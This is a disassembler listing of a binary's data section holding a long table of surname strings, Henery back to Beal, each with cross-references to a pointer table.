aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0D4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0D0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0C8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0C4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0C0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0B8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0B4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0B0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E0ACo
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E0A8o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E0A4o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E0A0o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E09Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E098o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E094o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E090o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E08Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E088o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E084o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E080o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E07Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E078o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E074o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E070o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E06Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E068o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E064o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E060o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E05Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E058o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E054o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E050o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E04Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E048o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E044o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E040o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E03Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E038o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E034o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E030o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E02Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E028o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E024o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E020o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E01Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E018o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E014o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E010o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E00Co
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E008o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E004o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E000o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFFCo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFF8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFF4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFF0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFECo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFE8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFE4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFE0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFD8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFD0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFC8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFC4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFC0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFBCo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFB8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFB4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DFACo
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DFA8o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DFA0o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF9Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF98o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF94o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF90o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF8Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF88o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF84o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF80o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF7Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF78o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF74o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF70o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF6Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF68o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF64o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF60o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF5Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF58o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF54o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF50o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF4Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF48o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF44o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF40o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF3Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF38o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF34o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF30o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF2Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF28o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF24o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF20o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF1Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF18o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF14o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF10o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DF0Co
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DF08o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DF04o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DF00o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEFCo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEF8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEECo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DEE8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DEE4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DEE0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DEDCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DED8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DED4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DED0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DECCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEC8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEC4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEC0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEBCo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEB8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEB4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEB0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DEACo
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DEA8o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DEA4o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DEA0o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE9Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE98o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE94o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE90o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE8Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE88o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE84o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE80o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE7Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE78o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE74o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE70o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE6Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE68o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE64o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE5Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE58o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE54o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE50o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE4Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE48o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE44o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE40o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE3Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE38o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE34o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE30o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE2Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE28o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE24o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE20o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE1Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE18o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE14o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE10o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DE04o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DE00o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDFCo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDF8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDF4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDF0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDECo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDE4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDE0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDDCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDD8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDD4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDD0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDCCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDC4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDC0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDBCo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDB8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDB4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDB0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DDACo
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DDA8o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DDA4o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DDA0o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD9Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD98o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD94o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD90o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD8Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD88o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD84o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD80o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD7Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD78o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD74o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD70o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD6Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD68o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD64o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD60o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD58o
					; ___:0042DD5Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD54o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD50o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD4Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD48o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD44o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD40o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD3Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD38o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD34o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD30o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD2Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD28o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD24o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD20o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD1Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD18o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD14o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD10o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DD0Co
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DD08o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DD04o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DD00o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCFCo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCF8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCF4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCF0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCECo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCE8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCE4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCE0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCDCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCD8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCD4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCD0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCCCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCC8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCC4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCC0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCBCo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCB8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCB4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCB0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DCACo
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DCA8o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DCA4o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DCA0o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC9Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC98o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC90o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC8Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC88o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC84o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC80o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC7Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC78o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC74o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC70o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC68o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC64o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC60o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC5Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC58o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC54o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC50o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC4Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC48o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC44o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC40o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC3Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC38o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC34o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC30o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC2Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC28o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC24o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC20o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC1Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC18o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC14o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DC0Co
					; ___:0042DC10o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DC08o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DC04o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DC00o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBFCo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBF8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBF0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBECo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBE8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBE4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBE0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBDCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBD4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBD0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBCCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBC8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBC0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBBCo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBB0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DBACo
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DBA8o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DBA4o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DBA0o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB9Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB98o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB94o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB90o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB8Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB88o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB84o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB80o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB7Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB78o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB74o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB70o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB6Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB68o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB64o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB60o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB5Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB58o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB54o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB50o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB4Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB48o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB44o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB40o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB3Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB38o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB34o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB30o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB2Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB28o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB24o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB20o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB1Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB18o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB14o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB10o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DB0Co
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DB08o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DB04o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DB00o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAFCo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAF8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAF4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAF0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DAECo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAE8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAE4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAE0o
		align 4
